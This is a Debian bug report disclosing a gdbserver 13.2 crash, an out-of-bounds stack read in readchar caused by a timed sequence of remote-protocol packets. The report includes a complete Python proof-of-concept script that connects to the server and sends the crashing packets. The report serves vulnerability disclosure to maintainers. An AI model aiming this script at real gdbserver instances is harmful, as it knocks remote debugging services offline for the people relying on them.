Package: gdbserver Version: 13.2-1 Severity: important X-Debbugs-Cc: research.mnt...@gmail.com
Dear Maintainer, During a debug session with IDAPro 7.7 in conjunction with gdbserver, I encountered a crash while IDA was trying to reconnect to the remote debugger. I reproduced exactly all the “GDB serial Protocol” commands that I sent to gdbserver using a python script and the only error I got was SIGPIPE. I noticed that adding a sleep between the commands resulted in the same crash mentioned above. After a little bit of trial and error I found that the combinantion of commands resulting in SEGFAULT was: “+” -> (sleep one second after the response) -> “QStartNoAckMode” -> (sleep one second after the response) --> "%" (sleep one second ) --> SEGFAULT I was running gdbserver in my local network using "gdbserver localhost:23946 ~/Desktop/whar", the version of gdbserver is GNU gdbserver (Debian 13.2-1) 13.2 and gdbserver was configured as "x86_64-linux-gnu" Usually if the commands are not sent with the right timing the only error raised is SIGPIPE and the program keeps running. I found out that there is a read out of bound during the call of the readchar (gdbserver/remote-utils.cc:847). The variable readchar_bufcnt is decremented leading to a backward stack read out of bound causing a SEGMENTATION FAULT I have no clue why the program bypasses the cheks and starts to read the stack. This is the python script I used to crash the program: import binascii import socket import struct import sys import time def checksum(s: str) -> str: res = sum(map(ord, s)) % 256 return f'{res:2x}' def ack(sock): sock.send(b'+') def send(sock, s: str) -> str: if s != '+': sock.send(f'${s}#{checksum(s)}'.encode()) res = sock.recv(1024) else: ack(sock) res = '_' return res def main(): ip = '192.168.1.13' port = '23946' with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.connect((ip,int(port))) res = send(sock,"QStartNoAckMode") print(res) time.sleep(1) res = send(sock,"qXfer:threads:read::0,47fe") print(res) time.sleep(1) res = send(sock,"%") print(res) time.sleep(1) if __name__ == '__main__': main() -- System Information: Distributor ID: Kali Description: Kali GNU/Linux Rolling Release: 2023.3 Codename: kali-rolling Architecture: x86_64 Kernel: Linux 5.10.0-kali3-amd64 (SMP w/2 CPU threads) Kernel taint flags: TAINT_UNSIGNED_MODULE Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages gdbserver depends on: ii libc6 2.37-6 ii libgcc-s1 13.1.0-6 ii libstdc++6 13.1.0-6 gdbserver recommends no packages. gdbserver suggests no packages. -- no debconf information